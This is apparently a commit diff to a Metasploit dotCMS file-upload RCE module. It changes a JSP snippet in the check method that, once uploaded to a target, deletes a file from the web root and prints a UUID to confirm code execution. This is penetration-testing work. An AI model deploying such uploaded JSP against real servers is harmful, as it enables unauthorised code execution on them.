Update modules/exploits/multi/http/dotcms_file_upload_rce.rb

Co-authored-by: cdelafuente-r7 <[email protected]>

Author: jheysel-r7

modules/exploits/multi/http/dotcms_file_upload_rce.rb

@@ -81,7 +81,7 @@ def check
     jsp = <<~EOS
       <%@ page import=\"java.io.File\" %>
       <%
-        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}");
+        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
         jsp.delete();
       %>
       #{uuid}